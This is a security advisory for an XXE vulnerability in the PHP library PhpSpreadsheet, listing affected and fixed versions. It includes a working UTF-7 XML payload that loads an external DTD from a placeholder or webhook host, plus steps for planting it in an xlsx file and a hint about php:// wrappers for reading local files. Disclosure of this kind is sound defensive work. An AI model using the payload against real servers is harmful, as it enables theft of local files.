ADVISORIES

GitHub Advisory Database

GHSA-ghg6-32f9-2jp7

XXE in PHPSpreadsheet encoding is returned

Details

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

  • Create simple xlsx file
  • Rename xlsx to zip
  • Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  • Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  • Save sharedStrings.xml file and rename zip back to xlsx.
  • Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
  • You will receive the request to your http://%webhook%/file.dtd
  • Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files !lfi

Affected packages

EcosystemPackageAffected versions
Packagistphpoffice/phpspreadsheet
All versions before 1.29.1 (fixed in 1.29.1)
Packagistphpoffice/phpspreadsheet
From 2.2.0 before 2.2.1 (fixed in 2.2.1)
Packagistphpoffice/phpspreadsheet
From 2.0.0 before 2.1.1 (fixed in 2.1.1)
Packagistphpoffice/phpexcel
All versions up to and including 1.8.2

References